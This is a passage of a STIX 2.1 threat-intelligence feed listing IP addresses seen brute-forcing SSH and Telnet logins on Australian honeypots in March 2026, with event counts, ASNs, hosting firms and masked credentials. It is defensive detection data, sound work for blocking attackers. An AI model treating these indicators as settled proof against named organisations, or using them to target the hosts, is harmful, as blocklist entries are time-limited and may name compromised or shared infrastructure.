      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T03:15:13.000Z",
      "valid_until": "2026-04-10T03:15:11.000Z"
    },
    {
      "created": "2026-03-09T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 58519. Organisation(s): Cloud Computing Corporation. Usernames observed (masked): p***l. Passwords observed (masked): ***.",
      "id": "indicator--b7909539-1aed-4cad-8a1f-9a925a177baf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '140.246.70.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T03:15:13.000Z",
      "valid_until": "2026-04-10T03:15:11.000Z"
    },
    {
      "created": "2026-03-09T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 128. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AT. ASN(s): 197540. Organisation(s): netcup GmbH. Usernames observed (masked): c******m, 3**********4, e***n, e****e, m***d. Passwords observed (masked): 1***5, 1****6, 3***********4, 3**********4, M******3.",
      "id": "indicator--9a4e40b2-9c61-4384-9523-eedf447a947c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.53.184.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T03:15:13.000Z",
      "valid_until": "2026-04-10T03:15:11.000Z"
    },
    {
      "created": "2026-03-09T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 168. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n. Passwords observed (masked): 1***5, 1****6, 1******8, a***n, p******d.",
      "id": "indicator--d138439e-0763-422d-8c64-a9356367be5e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.223.226.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T03:15:13.000Z",
      "valid_until": "2026-04-10T03:15:11.000Z"
    },
    {
      "created": "2026-03-09T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): p****r, 3**********4, h**t, i****a, ***. Passwords observed (masked): 1****6, ***, 1**4, 1***5, 3***********4.",
      "id": "indicator--39b02636-886a-4702-b762-bb80265af082",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.154.147.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T03:15:13.000Z",
      "valid_until": "2026-04-10T03:15:11.000Z"
    },
    {
      "created": "2026-03-09T03:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262887. Organisation(s): RAPIX INTERNET.",
      "id": "indicator--b1dee52b-3071-4d77-a9d3-555b6da577e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '177.23.17.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T03:15:13.000Z",
      "valid_until": "2026-04-10T03:15:11.000Z"
    },
    {
      "created": "2026-03-09T03:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--83ed4498-0153-4d34-a981-fd997ce02650",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.168.121.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T03:15:13.000Z",
      "valid_until": "2026-04-10T03:15:11.000Z"
    },
    {
      "created": "2026-03-09T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--4d6f2e20-6984-4b80-999b-b98169784806",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T03:15:13.000Z",
      "valid_until": "2026-04-10T03:15:11.000Z"
    },
    {
      "created": "2026-03-09T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 138. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, d****y, ***, h****p, n****s. Passwords observed (masked): 1****1, ***, ***, d****y, ***.",
      "id": "indicator--d80ca06b-ebd6-4d64-b188-cba0f172ea9e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.97.189.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T03:15:13.000Z",
      "valid_until": "2026-04-10T03:15:11.000Z"
    },
    {
      "created": "2026-03-09T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 343. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group. Usernames observed (masked): 3**********4, e*****r, g**3, p***l, r**t. Passwords observed (masked): 3***********4, 3**********4, ***, 1**4, 1***5.",
      "id": "indicator--fa0dcc62-44cc-4dd4-bb72-ba2e70afc1c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '211.20.14.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T03:15:13.000Z",
      "valid_until": "2026-04-10T03:15:11.000Z"
    },
    {
      "created": "2026-03-09T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 273. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): 3**********4, m**t, m*****e, u**r, h**n. Passwords observed (masked): 3***********4, 3**********4, ***, 1****6, 1******8.",
      "id": "indicator--cc3e916b-f49b-40e5-a68f-42e663f39dc9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '217.154.35.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T03:15:13.000Z",
      "valid_until": "2026-04-10T03:15:11.000Z"
    },
    {
      "created": "2026-03-09T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 343. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): 3**********4, e*****r, g**3, p***l, r**t. Passwords observed (masked): 3***********4, 3**********4, ***, 1**4, 1***5.",
      "id": "indicator--652a4021-8f5d-4cf7-9512-cbb9257d4c94",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.58.124.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T03:15:13.000Z",
      "valid_until": "2026-04-10T03:15:11.000Z"
    },
    {
      "created": "2026-03-09T03:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 4788. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD..",
      "id": "indicator--47c0208f-a26a-4386-82e2-d1b2641e0c3f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '60.48.194.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T03:15:13.000Z",
      "valid_until": "2026-04-10T03:15:11.000Z"
    },
    {
      "created": "2026-03-09T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 24940. Organisation(s): Hetzner Online GmbH. Usernames observed (masked): c******m, 3**********4, e***n, e****e, g**s. Passwords observed (masked): 1***5, 1****6, 3***********4, 3**********4, G******!.",
      "id": "indicator--0d86adee-9ec0-4b0b-a580-43d33dece891",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '65.21.248.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T03:15:13.000Z",
      "valid_until": "2026-04-10T03:15:11.000Z"
    },
    {
      "created": "2026-03-09T04:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 134771. Organisation(s): WENZHOU, ZHEJIANG Province, P.R.China.. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, A******7.",
      "id": "indicator--0b1978dc-0bc5-4a6d-ad17-9a44adbc8d1e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '122.228.86.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T04:15:13.000Z",
      "valid_until": "2026-04-10T04:15:11.000Z"
    },
    {
      "created": "2026-03-09T04:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 22047. Organisation(s): VTR BANDA ANCHA S.A..",
      "id": "indicator--a3a68966-370c-4d29-bb51-c996d6a3e5f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '186.156.185.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T04:15:13.000Z",
      "valid_until": "2026-04-10T04:15:11.000Z"
    },
    {
      "created": "2026-03-09T04:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 543. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ZA. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, ***, n***x, o****e, ***. Passwords observed (masked): 1****6, a****3, ***, *, !******r.",
      "id": "indicator--15571977-b28f-4602-847f-56c3dbdf1a74",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.164.21.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T04:15:13.000Z",
      "valid_until": "2026-04-10T04:15:11.000Z"
    },
    {
      "created": "2026-03-09T04:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 35. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t. Passwords observed (masked): a***n, r**t.",
      "id": "indicator--6b29b29c-2035-402b-9b55-10a40be4c9a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '218.157.205.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T04:15:13.000Z",
      "valid_until": "2026-04-10T04:15:11.000Z"
    },
    {
      "created": "2026-03-09T04:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--9f41e391-b44e-4bc8-ac52-81188ee33393",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '42.87.169.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T04:15:13.000Z",
      "valid_until": "2026-04-10T04:15:11.000Z"
    },
    {
      "created": "2026-03-09T04:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 17676. Organisation(s): SoftBank Corp..",
      "id": "indicator--b173903b-4edb-45c3-a1fb-223a0bfc0853",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '60.77.64.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T04:15:13.000Z",
      "valid_until": "2026-04-10T04:15:11.000Z"
    },
    {
      "created": "2026-03-09T04:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--8e24e625-a993-410c-aaf1-53b18685fdd5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.167.166.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T04:15:13.000Z",
      "valid_until": "2026-04-10T04:15:11.000Z"
    },
    {
      "created": "2026-03-09T05:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 136188. Organisation(s): NINGBO, ZHEJIANG Province, P.R.China.. Usernames observed (masked): a***n, o******i. Passwords observed (masked): a***n, o******i.",
      "id": "indicator--5e35109b-7678-4442-a56a-3b9b8115d305",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.88.32.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T05:15:03.000Z",
      "valid_until": "2026-04-10T05:15:01.000Z"
    },
    {
      "created": "2026-03-09T05:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--9675c442-edc6-4998-9397-760ec7a1e113",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.99.119.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T05:15:03.000Z",
      "valid_until": "2026-04-10T05:15:01.000Z"
    },
    {
      "created": "2026-03-09T05:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud. Usernames observed (masked): G************1, U****************************************************************************************************************************6. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--2414dd7e-ff90-4d7c-b699-0f14db5af2b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.236.228.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T05:15:03.000Z",
      "valid_until": "2026-04-10T05:15:01.000Z"
    },
    {
      "created": "2026-03-09T05:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 4788. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD..",
      "id": "indicator--c6f47945-c26a-4295-a672-d49d9949ca50",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.143.9.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T05:15:03.000Z",
      "valid_until": "2026-04-10T05:15:01.000Z"
    },
    {
      "created": "2026-03-09T05:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--38f0ccad-a114-48ac-ab44-539610f0eea1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T05:15:03.000Z",
      "valid_until": "2026-04-10T05:15:01.000Z"
    },
    {
      "created": "2026-03-09T05:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 269425. Organisation(s): RN TELECOMUNICACOES EIRELI.",
      "id": "indicator--1a4548c7-6682-471a-b06a-dd0c778065b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.186.33.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T05:15:03.000Z",
      "valid_until": "2026-04-10T05:15:01.000Z"
    },
    {
      "created": "2026-03-09T06:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 60781. Organisation(s): LeaseWeb Netherlands B.V..",
      "id": "indicator--46e4a4fa-6cad-43b2-a1c6-4af44444e670",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T06:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '109.236.50.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T06:15:15.000Z",
      "valid_until": "2026-04-10T06:15:11.000Z"
    },
    {
      "created": "2026-03-09T06:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IT. ASN(s): 1267. Organisation(s): Wind Tre S.p.A.. Usernames observed (masked): **. Passwords observed (masked): Z***3.",
      "id": "indicator--e5e88c73-b2e2-4fac-9119-34c93bcf67af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T06:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '151.57.225.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T06:15:15.000Z",
      "valid_until": "2026-04-10T06:15:11.000Z"
    },
    {
      "created": "2026-03-09T06:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 264. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n, u****u. Passwords observed (masked): 1****6, p******d, 0****0, 1****1, ***.",
      "id": "indicator--8f6cacd3-1242-4322-8c20-3640275ae53f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T06:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.245.111.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T06:15:15.000Z",
      "valid_until": "2026-04-10T06:15:11.000Z"
    },
    {
      "created": "2026-03-09T06:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--fed758bd-83c2-47bd-b7f0-5c8e92e8791c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T06:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T06:15:15.000Z",
      "valid_until": "2026-04-10T06:15:11.000Z"
    },
    {
      "created": "2026-03-09T06:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--4fd1b215-4b56-415f-81c7-ed673ec248d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T06:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '44.220.185.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T06:15:15.000Z",
      "valid_until": "2026-04-10T06:15:11.000Z"
    },
    {
      "created": "2026-03-09T06:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): **, s******d. Passwords observed (masked): ***, S**********!.",
      "id": "indicator--41dc6e29-385d-460c-8af9-69b9b15c1e80",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T06:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.78.202.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T06:15:15.000Z",
      "valid_until": "2026-04-10T06:15:11.000Z"
    },
    {
      "created": "2026-03-09T06:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--a4a4535e-5c46-4324-875b-d98b6205f85e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T06:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.240.223.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T06:15:15.000Z",
      "valid_until": "2026-04-10T06:15:11.000Z"
    },
    {
      "created": "2026-03-09T07:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--5fed55a9-36e0-437c-ad7a-30c1b64460b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T07:15:13.000Z",
      "valid_until": "2026-04-10T07:15:11.000Z"
    },
    {
      "created": "2026-03-09T07:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--5dbd0747-b985-4dcf-b5f3-62b2e92e2204",
      "labels": [
        "bruteforce"
      ],
